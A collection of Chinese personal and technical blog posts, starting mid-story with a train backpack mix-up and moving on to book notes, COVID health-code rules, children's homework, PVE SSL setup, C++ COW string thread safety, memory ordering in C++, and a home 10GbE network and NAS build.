我问乘务员说,能联系上我邻座的乘客吗?我敢确定是他拿走了我的包,因为他上车的时候也是背着一个黑色背包。乘务员和乘警都说涉及到旅客隐私,他们是无法获取旅客个人信息的。乘务员安慰我说一般不太会故意拿走,应该是错拿的。基本上乘客都会在发现拿错后在12306上登记失物找寻。让我放心。然后我、乘务员、乘警三方打开了现场留下的那款背包,打开就是几本书,鬼画符一样的字迹和公式啥的。然后另外一个乘务员说这应该是之前一味女士的,她是一个考研的学生。而我的邻座是位男士,而男士的背包被我看到的是黑色的而不是灰色的。
现在事情也比较明朗了,也就是在金华或者义乌下车的女士拿走了我邻座男士的黑色背包,邻座男士下车拿走了我的黑色背包,而我最后下车捡到了那位女士的灰色背包。因为我马上在虹桥下车了,乘务员让我不用担心应该会找到,当然让我和她互留了电话,告知我如果对方联系她,她会第一时间与我联系,与此同时我也在12306上发了失物找寻的工单。
走出虹桥站,17号线还没坐两站,一个江西的电话就过来了,是那位乘务员的声音,说我的背包找到了,确实是那位杭州下车的男士拿到了,并将那位男士的电话告知给我,让我们自行联系调换。稍后我与邻座男士联系上后,他很不好意思的跟我道歉说拿错了包,然后说把背包寄给我,希望我也把他的背包寄回。我跟他说了上面的“三角债”关系,让他赶紧找乘务员。隔了一天后,我的背包提前在杭州下车,在杭州兜了一圈,又回到了我的手上。
后续,我收到背包后给邻座男士道谢,毕竟人家也不是故意的。得知他的背包也在寄回的路上,那位女士的背包也被乘务员寄了回去。。。
最近几周基本都是高铁出行,所以每周就多了6个小时的旅途时间。正好趁这个时间把最近买的罗翔老师的《法治的细节》给读完了。我也没某些小同志年度阅读计划,一年几十本书的阅读,这20年来读的书要么是工作方面编程、算法、互联网前沿类的书,要么就是考试类的书,也就看个皮毛。诸此之外我统称“闲”书,20年也没认真读完10本。
作为“法外狂徒张三”,我大抵也是从短视频中知晓的。以至于后来把罗老师讲刑法的短视频全部刷了一遍。最后买了两本罗老师的书《法治的细节》和《圆圈正义》。正如前面说的我这胸无点墨之人也无法写书评,以下作为自己的读书札记勉强凑合,大家看看就罢。
《法治的细节》前四章主要以案说法,将刑法学上的奥义通过历史上发生的案例剖析的细致入微。通过这些案例可以让读者(缺乏系统的法治思维的)能更加快速准确的理解法律设定的逻辑。
第一章法律与道德,从“电车难题”引申出来,详细的阐述了法律是最低的道德底线,道德是更高层次的“法律”。所以当危险来临的时候,“我”可以牺牲自己来保全他人的生命,这是一种道德义务。而“我”不能为了保全自己来牺牲别人,因为道德在绝大多数情况下是自律,而非他决。所以“米丽雷特号”案最后船长和大副最后被判处绞刑。
第二章从电影《何以为家》引申出来,讲述了国内盗挖女尸配阴婚案、武汉面馆割头案、人肉搜索姜岩案当中的法律思辨关系。而这些国内案例无不是我们这代人身边的经历,当年那些喧嚣和争议无不在网上沸反盈天。这些湮没在尘埃中的法律案例证明了当下法律是不可能解决所有问题的,而法律却是解决矛盾的最后手段。
第三章从经典的辛普森杀妻按引申出来,讲述了国内张玉环案、永州胡某踹伤猥亵者案、重庆锤杀丈夫案、去年驻马店娶残障女事件、再到韩国N号房案,每起案件或多或少都缺少必要的证据,最后发生了留有缺陷的审判,又在处理这些缺陷和矛盾中,追求程序正义,让案件走向了让更多大众能认知的公平正义,也是只有追求了程序正义,才能得到相对的结果正义。
第四章性刑法,主要从性犯罪中损害转换,包括侵害性自治权法益,破坏家庭法益等。然后是性侵害案中的合理反抗和最大限度反抗的界定,性同意的标准界定。再讲到代孕的合法性、堕胎的合法性、胎儿的生命权,从中讲到我国两大政策解读:非夫妻双方的辅助生殖在我国一律禁止。堕胎权利属于女性自身,我国采用放任主义。到最后已“心跳法案”作为终结,当初心跳法案的发起者最后成了“心跳法案”的反对者。
从第五章开始,罗老师的书里就不太涉及具体的法律案例了,主要从法律自身的角度解读法律。印象最深的是那段“半费之术”:普罗达哥拉斯教欧提勒士打官司,双方约定欧提勒士毕业时付一半学费给普罗达哥拉斯,另一半学费则等欧提勒士毕业后头一次打赢官司时付清。而欧提勒士毕业后一直不打官司,普罗达哥拉斯就把欧提勒士给告了,他提出了以下二难推理:如果欧提勒士这场官司胜诉,那么,按合同的约定,他应付给我另一半学费;如果欧提勒士这场官司败诉,那么按法庭的判决,他也应付给我另一半学费;他这场官司或者胜诉或者败诉,所以,他无论是哪一种情况都应付给我另一半学费。
而欧提勒士则针对老师的理论提出一个完全相反的二难推理:如果我这场官司胜诉,那么,按法庭的判决,我不应付给普罗达哥拉斯另一半学费;如果我这场官司败诉,那么,按合同的约定,我也不应付给普罗达哥拉斯另一半学费;我这场官司或者胜诉或者败诉,所以我不应付给他另一半学费。
罗老师在这张引用了非常多的法学经典书籍,从罗伯斯庇尔的《自由平等博爱》,到孟德斯鸠的《论法的精神》,到穆勒的《论自由》,到卢梭的《社会契约论》,再到柏拉图的《苏格拉底的申辩》《会饮篇》和圣埃克苏佩里的《小王子》,罗老师把西方经典著作摘取分享了个遍,试图让读者理解法的奥义。
这些书在学生时代或多或少的也蹭读到过些许,只是在这横流的物欲下面,早就忘的一干二净了。再次读到这些罗老师分享的片段后,那些深藏在心底的某些东西又在蠢蠢的律动。。。
前段时间,各地疫情反复,魔都保持每天个位数的新增,一时间外省输入变成了魔都最高的风险。立刻大数据中心的那帮人就想出了怪招,在健康码页面调用一个来沪反复不足5天的大红字体提醒。实现方法也简单,在所有入沪通道口设置场所码,所有入沪人员都需要扫描这些卡口的场所码,包括空港、铁路、汽车站、高速口、水路客运。但凡扫过这些场所码的人,大数据中心直接给这部分人加载这八个红色的提示,真是亮瞎眼。
但是政策总归不会考虑的那么周全,不是所有来沪返沪都能被覆盖,也不是所有被覆盖的人都是来沪返沪的。所以政策实行第一天,上海有一条神奇的地铁11号线,它是跨城的,末端直接延伸到了江苏昆山。很多在市中心上班的人都住在昆山,所以第一天“误杀”了很多人,虽说政策有个兜底的白名单,但是还是很多人没进入。另外一种就是住在两地交界的地方的居民,新闻想必大家也都看到了,一个女士因为这八个打字连买菜都是个困难。
说到白名单,经过一个礼拜的运行,我们小区也开始统计江浙皖通勤的人加入白名单的问题了,条件要求是每周通勤3次以上,并且要求注册上海民政的社区云,上传资料(一个注明通勤情况的证明,单位法人签字并盖章)。我这种每周三固定要去分公司出差的,周五返回魔都的,按次算一周只通勤一次,然后还要申请盖公章,还得盖分公司的公章,但是我的劳动关系却在总公司,这就比较尴尬了,算了,我干脆也就懒得申请了。不申请白名单的话,那我就落得最差的一种情况,这八个红字只有到上海这政策取消,我的才能取消,因为周五返回,周六开始加5天又到下周周三,我又出发了,循环往复无止尽了。。。
前天开始,中央对防控的政策调整很明天转向了,副总连续多天和专家沟通,各方面放出的信息都是在逐步开放。那个自媒体环球老胡最近的墙头草已经都不知道该往那边倒了,语无伦次级别的思维错乱。老家浙江速度很快,11个地级市连夜宣布不查核酸,高速高铁道口的落地检一夜取消。今天杭州健康码的核酸过期倒计时也取消了,入杭报备也暂停了。还有其他城市也都在调整。一切都在向着开放的方向发展,希望魔都的动作快点再快点,先把来沪返沪不足五天取消吧,要不然我哪也去不了,剪个头发都成了奢侈。
女儿上一年级了,最大的变化就是多了好多作业,过分的是还有体育作业,似乎和我们小时候完全不一样的样子。尽管教育部三令五申一二年级不留书面回家作业,但是执行层面只是换成了“口头”的书面作业了。所以现在每天放学后,等我们两口子到家,吃完晚饭开始辅导作业,差不多每天要到9点多。孩子的玩耍时间极度压缩。据其他邻居和同事介绍,三年级后课业负担可能是指数级增加,想想今后可怕的日子,可怜的娃儿们,可怜的家长们。
我女儿多少有点像我,有拖延症,放学回来只顾自己玩了,坚决不会自己写字做作业的。想想我自己,不也一样么,玩到晚上了躲在被窝打电筒写作业。实在写不完了,就放空炮,第二天在教室门外窗台罚站写作业。她妈妈小时候是个好孩子,放学回家第一时间就会完成作业,所以她娘俩每天为点作业干仗。我是本着都是我走过的路,这有啥,也就不管了,老婆大人不行,一回家就盯着作业,巴不得立刻马上就能做完。
作业多,时间长或许也就罢了,现在的题目更是闪瞎家长的钛合金狗眼,别说一年级,我们这种受过高等教育的家长,一时也不知道出题者的题意,感觉这些作业完全是抖机灵、耍聪明。比如图中这道数学题,第一眼看上去竟然完全选不出答案。仔细琢磨出的答案似乎又不符合出题者的意图。记得我们小时候一年级也就是学个数数和10以内的加减法而已。那时候我们学习加减法差不多也都是硬背吧,或许是我不记得了。而现在的孩子出了10以内的,还有20以内,50以内加减法。这些加减法还分凑十法、平十法,花头精贼多。
那天女儿回家又为作业母女俩吵起来了,老婆敲了一下女儿脑袋,女儿小性子上来就委屈哭了,说今天在学校也被老师打了,晚上回家还要挨打,可怜巴巴的样子。我在外地出差,电话中一听这个就来气,我要找老师了解下情况顺便理论理论,毕竟一年级这么多作业也不符合教育部精神,遇到不公的事情我就炸毛,老婆拦着不让,怕老师给孩子穿小鞋。我说你如果不说这次是挨顿可能轻微的打,那下次就说不好是什么事情了,毕竟他们老师年纪也就我们这么一般大,我们这代人的脾气也早就不是老一辈光明磊落,也没有90后畅意洒脱,80后多在强人面前唯唯诺诺,在弱者面前颐指气使,我生怕我娃的老师什么时候爆出个大新闻,这段时间什么脚踹的,失踪的新闻接踵而至。所以我希望去学校调监控看看到底是不是如女儿所说被老师打头打后背了,而老婆拦着不让,一定要私下跟老师通个电话。电话能有什么作用,老师必然轻描淡写的会说娃儿上课不听话,他们提醒了下而已。为了这是,我俩大吵一架,我在酒店的声音吵到隔壁旅客,跑去前台投诉我了,嗨,这事给闹的。。。
PVE 强制使用 https 登陆,无法切换到 http 模式。其内置证书是自签发证书,每次登录的时候浏览器都会提示警告信息。要把这个警告消掉的两个必要条件是:通过域名访问且配置了这个域名对应的 SSL 证书。通过域名访问简单,买个域名配置下 DNS 即可。SSL 证书本身也很简单,就是免费证书有效期都不长,经常要去做重复的操作很麻烦。可喜的是,PVE 内置了一个叫做 ACME 的模块,通过它我们可以一键申请并部署新的 SSL 证书。
操作很简单,直接截图备忘吧。
这一过程是自动的,等脚本跑完就 OK 了。
Update 2022-12-03:
PVE 会在快要到期时自动更新证书的,都不需要手动去点了,配置好就可以一劳永逸了~
众所周知 C++ STL 容器是不保证线程安全的,不过对于 vector
, list
这类容器来说,由于其底层实现很简单直接,我们可以较为容易地分析出什么时候多线程并发操作时可以不用加锁,什么时候需要加锁 —— 一般来说纯粹的并发读操作是可以不用加锁的。
然而 string
是个很奇特的异类,在 5.x 之前的老版本 GCC 上,由于 string
的实现使用了 COW 优化,这使得 string
的线程安全问题变得极为玄学。这也是 GCC 5.x 后引入了新的 string
实现放弃了 COW 的重要原因之一。
本文就来讨论下 string
在 COW 机制下线程安全方面的一些坑。
string
的 COW 实现下,其自身的成员变量很简单,只有一个指针,指向堆上的一片内存区域。这片内存的结构是这样的:
除了实际的字符串内容及相关的长度记录外,还有一个引用计数字段,这就是 COW 机制的核心字段。
当且仅当使用拷贝构造函数或赋值运算符生成一个新的 string
时,新旧两个 string
会指向同一片内存,且其上的引用计数会加一;当某个 string
调用有修改字符串内容可能性的成员函数时,会检查引用计数,若引用计数大于 1,则将此片内存 copy 一份并将原来的引用计数减一,若引用计数降低至 0 则释放这片内存,这一行为的伪代码如下:
1 | void COW() { |
rc
引用计数本身是个原子变量,然而整个 COW()
函数执行过程中是不加锁的。实际的 libstdc++
的代码中,COW()
函数的名称是 _M_leak()
。
除了这种 COW 优化外,新版本的 string
使用的都是 SSO 优化,可以参考我之前写过的另一篇文章:C++ 中 std::string 的 COW 及 SSO 实现
若某个 string
的多个引用或指针在不同线程中同时访问了此 string
就会产生非预期的内存非法访问行为。考虑以下测试代码:
1 |
|
这段代码使用老版本的 GCC 编译运行会直接 core 掉,一般错误会是 double free or corruption (fasttop)
(若只有新版本的 GCC,可以通过增加编译选项 -D_GLIBCXX_USE_CXX11_ABI=0
强制指定不使用 C++11 ABI 来复现);使用新版本的 GCC 正常编译则不会有任何问题。
这段代码中,L17 ~ L20
启动了多个线程,每个线程中持有的都是 s1
的一个引用,多个线程同步地去读取 s1
中不同位置的字符,这个行为从常理上分析应该是没有数据竞争的,然而实际情况是它 core 了!
更为玄学的是,若将 L12
的 s2
去掉,或者是加上 L13
注释里那行看上去没有任何用处的代码,这个程序就可以正常运行了!
这一切玄学行为的根源都是 COW 机制搞的鬼。L12
使用拷贝构造生成 s2
时不会为 s2
真的新分配一片内存空间,而是简单的将原有 s1
堆上的内存引用计数加一,这样这个 string
的引用计数就是 2 了。多个线程使用的是引用的方式捕获 s1
,因此不会修改引用计数;而 L19
调用了 operator []()
,由于此处 s1
不是常引用,编译器不会选择 opeartor []() const
,而非 const
版本的 operator []()
返回的是一个可修改的引用,故此行为在库函数看来其实是一个写操作,会触发 COW;从上一节 COW()
的伪代码中可以看到,多个引用同时执行 COW()
很大概率会 Copy 多份并将引用计数减为负数进而产生 double free
错误。
若没有 L12
,s1
的引用计数为 1,不会触发 COW,自然也不会有问题;若加上了 L13
,同理 s2
已经触发了 COW,后续 s1
的引用计数也为 1 了;此外还可以通过将 lambda 内捕捉的 s1
修改为常引用或直接按值传递来解决此问题,将 [i, &s1]
改为 [i, &s1 = static_cast<const std::string&>(s1)]
或 [i, s1]
即可。
在实际复杂一些的程序中,很难确定一个字符串的引用计数到底是多少,因此在多个线程中使用字符串引用的做法始终会存在风险,解决方案一般有两个:
string
底层都使用 COW 了,那就不要用 string
的引用了,所有地方都按值传递即可;operator =()
来构造新 string
,始终使用 string new_str = string(old_str.data(), old_str.size())
的方式来构造。根据指针和长度来构造时永远不会也不可能使用 COW 机制,肯定会新分配一片内存做 memcpy。上述两种方案其实都很不优雅,优雅的方案是直接用新版 GCC 的 SSO 实现,默认情况下 5.x 以后版本的 GCC 都会使用此行为的。然而某些时候为了兼容历史遗留第三方库,需要保证 ABI 兼容,此时就只能通过这些方案来绕开 COW 机制的坑了……
最后来提一下 _GLIBCXX_USE_CXX11_ABI
这个编译器预定义宏,此宏代表是否使用 C++ 11 新版本的 ABI,主要区别就两个:
string
实现由 COW 改为 SSO;std::list::size()
的实现由 O(N)
复杂度改为 O(1)
复杂度,本质就是在 list
结构中增加了一个表示链表长度的字段。默认情况下 5.x 之后的 GCC 版本都会预定义此宏,即 -D_GLIBCXX_USE_CXX11_ABI=1
,可以手动的加上 -D_GLIBCXX_USE_CXX11_ABI=0
来禁用此行为使用原来老的实现,这主要是在处理 ABI 兼容问题时会使用。
参考资料:
C++ 中的 volatile
关键字,std::atomic
变量及手动插入内存屏障指令(Memory Barrier)均是为了避免内存访问过程中出现一些不符合预期的行为。这三者的作用有些相似之处,不过显然它们并不相同,本文就将对这三者的应用场景做一总结。
这三者应用场景的区别可以用一张表来概括:
volatile | Memory Barrier | atomic | |
---|---|---|---|
抑制编译器重排 | Yes | Yes | Yes |
抑制编译器优化 | Yes | No | Yes |
抑制 CPU 乱序 | No | Yes | Yes |
保证访问原子性 | No | No | Yes |
下面来具体看一下每一条。
所谓编译器重排,这里是指编译器在生成目标代码的过程中交换没有依赖关系的内存访问顺序的行为。
比如以下代码:
1 | *p_a = a; |
编译器不保证在最终生成的汇编代码中对 p_a
内存的写入在对 p_b
内存的读取之前。
如果这个顺序是有意义的,就需要用一些手段来保证编译器不会进行错误的优化。具体来说可以通过以下三种方式来实现:
volatile
的,C++ 标准保证对 volatile
变量间的访问编译器不会进行重排,不过仅仅是 volatile
变量之间, volatile
变量和其他变量间还是有可能会重排的;atomic
的, 与 volatile
类似,C++ 标准也保证 atomic
变量间的访问编译器不会进行重排。不过 C++ 中不存在所谓的 “atomic pointer” 这种东西,如果需要对某个确定的地址进行 atomic 操作,需要靠一些技巧性的手段来实现,比如在那个地址上进行 placement new 操作强制生成一个 atomic
等;此处的编译器优化特指编译器不生成其认为无意义的内存访问代码的优化行为,比如如下代码:
1 | void f() { |
在较高优化级别下对变量 a
的内存访问基本都会被优化掉,f()
生成的汇编代码和一个空函数基本差不多。然而如果对 a
循环若干次的内存访问是有意义的,则需要做一些修改来抑制编译器的此优化行为。可以把对应变量声明为 volatile
或 atomic
的来实现此目的,C++ 标准保证对 volatile
或 atomic
内存的访问肯定会发生,不会被优化掉。
不过需要注意的是,这时候手动添加内存屏障指令是没有意义的,在上述代码的 for
循环中加入 mfence
指令后,仅仅是让循环没有被优化掉,然而每次循环中对变量 a
的赋值依然会被优化掉,结果就是连续执行了 1000 次 mfence
。
上面说到了编译器重排,那没有了编译器重排内存访问就会严格按照我们代码中的顺序执行了么?非也!现代 CPU 中的诸多特性均会影响这一行为。对于不同架构的 CPU 来说,其保证的内存存储模型是不一样的,比如 x86_64 就是所谓的 TSO(完全存储定序)模型,而很多 ARM 则是 RMO(宽松存储模型)。再加上多核间 Cache 一致性问题,多线程编程时会面临更多的挑战。
为了解决这些问题,从根本上来说只有通过插入所谓的 Memory Barrier 内存屏障指令来解决,这些指令会使得 CPU 保证特定的内存访问序及内存写入操作在多核间的可见性。然而由于不同处理器架构间的内存模型和具体 Memory Barrier 指令均不相同,需要在什么位置添加哪条指令并不具有通用性,因此 C++ 11 在此基础上做了一层抽象,引入了 atomic
类型及 Memory Order 的概念,有助于写出更通用的代码。从本质上看就是靠编译器来根据代码中指定的高层次 Memory Order 来自动选择是否需要插入特定处理器架构上低层次的内存屏障指令。
关于 Memory Order,内存模型,内存屏障等东西的原理和具体使用方法网上已经有很多写得不错的文章了,可以参考文末的几篇参考资料。
所谓访问原子性就是 Read,Write 操作是否存在中间状态,具体如何实现原子性的访问与处理器指令集有很大关系,如果处理器本身就支持某些原子操作指令,如 Atomic Store, Atomic Load,Atomic Fetch Add,Atomic Compare And Swap(CAS)等,那只需要在代码生成时选择合适的指令即可,否则需要依赖锁来实现。C++ 中提供的可移植通用方法就是 std::atomic
,volatile
及 Memory Barrier 均与此完全无关。
从上面的比较中可以看出,volatile
,atomic
及 Memory Barrier 的适用范围还是比较好区分的。
atomic
;volatile
;atomic
,只有当不需要保证原子性,而且很明确要在哪插入内存屏障时才考虑手动插入 Memory Barrier。参考资料:
作为一个爱折腾的程序员,这几年来也陆陆续续折腾过不少东西,本文就来记录分享一下家庭网络及 NAS 存储搭建方面的过程吧。
最简单的家庭网络结构就是直接使用电信联通等运营商提供的光猫即可,现在的光猫都自带了无线 WiFi 功能,这就可以满足最基础的需求了。然而这显然无法满足爱折腾的我们诸多高级需求,因此我们需要充分发挥折腾精神,打造一套强大的网络出来。
直接上整体拓扑结构图吧:
电视这类终端设备图中就省略了,反正遵循能接有线尽量用有线的原则就好。图中的设备下文会一一进行介绍,绝大部分设备都是放在所谓的机房中,当然家里面不会有真正的机房啦,实际上这只是一个隐秘的小角落:)为了方便放这些现有的设备,再考虑到将来东西只会越来越多,于是买了个机柜:
这是个标准 32U 机柜,尺寸 1600 x 600 x 600。机柜的使用体验其实是比一般的柜子好很多的,散热,理线,安装都很方便,毕竟是专门为此类应用设计的。机柜的样子和功能都大同小异,在淘宝上随便找一家销量高点靠谱的就好,32U 的价格在 ¥600~1000 不等。不过一般标配的隔板数量都比较少,而机柜的隔板是可以任意添加的,因此可以联系卖家多加几块隔板。
机柜里面诸多设备供电当然也可以用普通插线板,不过更好的选择是使用 PDU 专用电源插座,这种插座可以直接固定在机柜背后:
插座选正规大品牌一般都不会有什么问题,不过需要注意的是,16A 插座的插头是要更粗一些的,就是和某些空调专用插头一样,没法插到普通三孔插座里去,选择的时候要考虑到此问题。
机柜什么都好,唯一的问题是放在家里看着不那么温馨和谐,然而这不是问题,可以在外面做个可移动的柜子把这个隐秘的小角落围起来!因为有了一个隔离的小角落,设备噪音等问题就不是很关键了;家庭使用设备再多也是比不过正经机房的,而且家里夏天也都会开空调,因此整体散热一般来说也不是大问题。
下面就来具体介绍下这些小宝贝们吧。
外网接入没有太多可折腾的,光纤入户的话基本只能用运营商提供的光猫,而且现在越来越多的运营商提供的设备是所谓的 SDN 光猫了。这个光猫那是真的垃圾难用啊,我手头上的是电信提供的烽火通信 HG7143D,基本什么可配置的东西都没有全被阉割了,唯一能配置的就只有无线 WiFi 的开关,连个 DHCP 都不能配置,强制开启且固定为 192.168.1.0/24 网段。
最早尝试过把光猫的 LAN 口接到交换机上,再通过交换机连接自己的其他设备,这方案勉强也能用,然而经常出现奇怪各种问题。于是目前的方案是把这个光猫和家里的其他设备彻底隔离开来,自带的 WiFi 啥的当然是第一时间全关了,只通过一条网线和软路由服务器点对点连接。所谓的软路由服务器其实就是一台普通台式机,安装了 PVE 作为虚拟化平台,在虚拟机中运行 OpenWRT 等软路由系统;硬件上是有多个网口的,因此可以实现单独一个网口用于连接光猫。这台服务器的情况下文再来详细介绍。
软路由上将家庭内网的网段换一个不要使用 192.168.1.0/24,这样隔离一下光猫就彻底不会来干扰其他设备了,老老实实的只需要提供外网接入就好了。这个方案也减少了对光猫功能的依赖性,将来无论再换个什么设备都可以直接替换,可谓是我目前想到的最完美的方案了。
目前还剩下未能解决的痛点问题是,由于家里入户光纤只有一条,没法简单的同时接入电信和联通宽带。二者的波长都是一样的,显然不能直接简单的共用一条光纤。单独再拉一条新的光纤看起来也不太现实。所以唯一的解决方案就只能是使用波分复用器等设备进行分离了,先不说设备很贵的问题,这方案在自己家这端还好说,想怎么搞就怎么搞,然而单元接入点那端基本是没法搞定的,此类设备都是有源设备,也就是必须要单独供电的,放在单元接入点那怎么供电呢……
这是网络中最复杂的部分了,从上面的拓扑图中也可以看到,我选择了网线 + 光纤混合在一起的解决方案。主要原因是想要享受超过 1Gbps 的网络带宽,而 10Gbps 的万兆网络方案基本都以光网络为主,电口只有少数 2.5GbE 的,而且价格上比光口还要贵。当然,实际上绝大部份场景下 1Gbps 是足够用的,能用到超过 1Gbps 的情况是很少的,不过折腾嘛,总要搞点看上去很厉害的东西喽,而且难说未来就能用上了呢……
光网络的核心设备当然是光交换机了,我选择的是 TP-Link 的 TL-ST1008F,这是一款很小巧优雅的 8 口全光交换机,所有口均为 SFP+ 万兆接口,采用无风扇设计。选择这个型号的原因只有一个,它足够便宜,基本是目前最便宜的万兆光交换机了。这款交换机是 2 年前买的,然而直到现在也是最佳的选择,没有比它更便宜的了。
这个交换机最大的缺点自然是它只有光口没有电口了,然而这正符合我的需求~
显然目前还做不到家里面的设备全用光纤,因此自然要有支持光电转换的交换机了,这就是拓扑图中的 8 口光电交换机和 24 口交换机了。为什么有两个呢,因为家里有两层,楼上一个楼下一个。
24 口交换机选用的是 TP-Link 的 TL-SH1226,这款交换机有两个 SFP+ 万兆光口和 24 个标准千兆 RJ45 端口,也是属于比较便宜的产品。
另一个 8 口光电交换机则是 QNAP 威联通的 QSW-308-1C,这是一款完全针对家用设计的小巧美观的交换机。为什么选择这一款交换机呢,主要是因为它足够小,而且采用了无风扇设计十分静音,很适合放在客厅的弱电箱旁边。这台交换机虽然小,然而接口却十分丰富 —— 8 个 1GbE RJ45 接口,2 个 10GbE SFP+ 光口,还有一个极为特别的 10GbE/5GbE/2.5GbE/1GbE SFP+/RJ45 组合自适应端口。市面上 10GbE 的电口产品已经很少了,这种全速率兼容的光电两用口更是独一无二的设计。
目前 1GbE 电口用了 6 个 —— 3 个 RJ45 面板及 3 个 AP 面板;2 个 10GbE SFP+ 光口都用到了 —— 1 个用于连接 TL-ST1008F 全光交换机,另一个用于连接 PC 主机;至于那个组合端口,目前是当作 2.5 GbE 电口来用的,使用了 Cat 7 网线来连接笔记本电脑。整体资源使用率还是很高的,并没有浪费那么多的接口~
不同于 RJ45 接口,光纤并不是直接插到交换机等设备上的,SFP+ 接口需要插入的是 SFP+ 光模块,光模块再和光纤连接。光模块的型号相对比较复杂,有不同的接口(LC,SC,电口 等),不同的传播模式(多模 SR,单模 LR 等),此外还存在一定的兼容性问题(和网卡或交换机的兼容性),因此选购的时候需要去先补充些基础知识,再多和商家交流下才行。不过一般不兼容的话都是可以退货的,所以可以先买来看看再说。同样是考虑到兼容性,一条光纤两端用的模块通常都是选同一型号的,不同型号的能不能混着用就不确定了。
这里还有一个坑,一般光纤都会考虑长距离通信问题,因此很多光模块的宣传重点是我们的模块 10km 还能用云云,然而家里面就几十米,10km 能用反而几十米难说就不能用了……原因是光强度太强的话接收端有可能会出现饱和问题,此时通信会很不稳定。之前买过一对光模块就发现这个问题了,ping 丢包率实在太高,和厂家的工程师沟通了好久才找到原因。解决方案也很简单粗暴,加上一个几块钱的衰减器即可。当然不是所有光模块都有这问题的,也有些模块短距离通信不加衰减器也不会出现饱和问题。
除入户光纤使用的是 SC 接口外,其他内网线路一般都使用双芯 LC 接口的多模光纤。囤积的各种光模块和衰减器:
目前电脑主板基本是没有自带光口的,因此需要买单独的网卡。万兆网卡最经典的选择就是 Intel 的 82599ES 了,大量互联网公司机房里使用的万兆网卡都是这型号的,稳定性啥的无需担心,模块兼容性也相对较好。82599ES 是芯片型号,因此有不同厂家的产品,同时有单口和双口两种型号可供选择。
然而 82599 也有翻车的时候,实际测试下来 82599 不能和威联通的 QSW-308-1C 交换机配合使用。威联通官网上有个兼容性列表,然而里面列出来的是模块不是网卡,并没有提到网卡也有兼容性问题。然而功夫不负有心人,我还是找到了一款能正常使用且相对便宜的网卡,这就是博通 Broadcom 57810S。
台式机可以装 PCIE 网卡来支持万兆网络,笔记本怎么办呢?除了极少数原生支持 2.5GbE 或者更高速率 RJ45 电口的笔记本外,只能通过 Type-C 口来外接适配器实现了。
绿联有一款 2.5GbE 的外置网卡,同时有 Type A 和 Type C 两种接口的版本,用下来体验还行,就是发热比较严重,不过也没感觉到对稳定性有影响。写这篇文章的时候发现绿联又出了一款 5GbE 的产品,同样是使用 RJ45 电口的,最重要的是,这两款产品的价格都比较亲民,感觉可以搞来试试。
至于 10GbE 的外置网卡,目前只发现了威联通的 QNA-T310G1S,这是一款 SFP+ 光口的外置网卡,至于价格嘛,当然是比较贵了,笔记本其实对 10GbE 没有太高需求,因此暂时没考虑入手。
网线目前基本用 Cat 6 的网线就差不多了,也可以选择 Cat 7 的,价格差不了多少,至于 Cat 8 的嘛,哪时候可以搞一根来看看。其实严格来说并不存在 Cat X 的网线对应什么速率的关系,信号衰减程度和距离关系很大,如果就几米距离 Cat 5e 的网线一样可以达到万兆的水平。距离长了 Cat 7 的网线也是会有问题的,当然在等距离下,Cat 级别越高的网线肯定更好些喽。不过越好的网线也会越硬,如果要穿线的话就更困难了,这时候扁线的优势就体现出来了,而且扁线看起来也要高级那么一些呢。
至于光纤的选择,入户光纤没得选,就一条单模光纤;局域网内部使用的光纤一般用双芯多模光纤,与网线类似,光纤也是分等级的,从 OM1~OM5,不同等级的光纤外壳颜色不一样,比网线更好区分。一般来说,使用水蓝色的 OM3 光纤就可以了,详细信息可以看看这篇文章:
与成品网线相对应的光纤叫做光纤跳线,就是两端都有 LC 或 SC 接口的光纤线,长这样的:
这种光纤使用起来十分稳定且方便,成品买来直接插上就好了,然而和网线一样的,由于接口体积比较大,长距离穿线时都是用没有两端接口的线的。网线的话买些水晶头和接线钳来自己练习下就可以搞定 RJ45 接口的安装了,光纤可就没这么简单了。
光纤一般是买尾纤来连接起来的,所谓的尾纤就是只有一端做好接口的光纤,两条尾纤接起来就是完整的光纤了。然而要怎么接呢?有两种方法,冷接和熔接。最初我以为自己可以搞定冷接的,买了一堆工具来尝试冷接,坑爹的是接是接起来了,然而不是一拉就断了,就是插入损耗太大简直没法用……
最终还是认清现实了,乖乖的去淘宝上找了同城提供光纤熔接服务的商家上门来进行光纤熔接。光纤熔接后需要一个熔接盒/熔接盘一类的东西来进行一些保护,这些可以自己去单独买,也可以请熔接的商家带一些来,最终成品的效果:
除了这种普通光纤外,还有一种很特殊的光纤——隐形透明光纤,这种光纤一般用于在室内拉明线时使用,不注意看基本看不到,十分美观。这种光纤都是单模光纤,没有多模光纤,因此对应的光模块也要选择单模模块。客厅交换机到工作室 PC 的连接我就使用了这种光纤。
两个 SFP+ 接口在短距离连接时更好的选择是使用 DAC 线而非光模块 + 光纤的形式。DAC 线实际上就是铜线,两端都是 SFP+ 接口,像网线那样直接插上去就可以用了,十分方便。DAC 线只能用于短距离连接,然而它的稳定性和兼容性比模块 + 光纤好太多了。
来测试下万兆网络的性能吧,在软路由服务器上运行 iperf3 作为服务器端,PC 上运行 iperf3 客户端:
可以达到 8Gbps 的速度,已经比较满意了。
由于家里墙体较多,因此选择了无线 AP 的方式来提供 WiFi 服务。AP 分为两种,带管理功能的 FAT 模式胖 AP 及单纯的接入点瘦 AP,有不少 AP 是二合一的,可以自行选择使用哪种模式。考虑到多个 AP 要能较为方便的进行统一管理,使用瘦 AP 模式 + 单独的 AC 控制器是最优选择。
从家居美观的角度来看,86 面板型 AP 无疑是一个很好的选择,一般是一个房间或相邻几个房间放一个。当然更严谨的做法是简单算算无线覆盖情况,以此来决定把面板放哪,这在装修阶段比较实用。TP-Link 提供了一款小工具来计算 WiFi 无线场强分布情况:
Mac 上有另一款类似工具,张大妈上已经有人安利了:
86 面板型 AP 一般都是 PoE 供电的,常用做法是直接选择带 PoE 功能的交换机或 AC 控制器即可,然而为了选择带万兆 SFP+ 接口的交换机已经把范围缩小了很多,此类交换机基本都是没有 PoE 接口的。此时可以选择再买几个单独的 PoE 交换机来,先不说搞一堆交换机来不优雅的问题,这么做有个缺点,两个交换机之间只能通过单条网线进行串联,因此相当于多个 AP 接入点是共享了 1GbE 的带宽。虽然实际上这并不会对使用造成什么影响,然而总是觉得不爽啊。
于是去搞了一对一的 PoE 供电器来,即每路 AP 都是一条输入线一条输出线。此类模块单路的比较常见,然而家里面有 6 个 AP,买 6 个供电器来实在太丑陋了,所以当时找了好久,终于在闲鱼上发现了一款 4 路供电模块,就是上文机柜 PDU 电源图中电源上面那个东西。这东西现在在淘宝上都搜不到的,也算是捡到好货了。
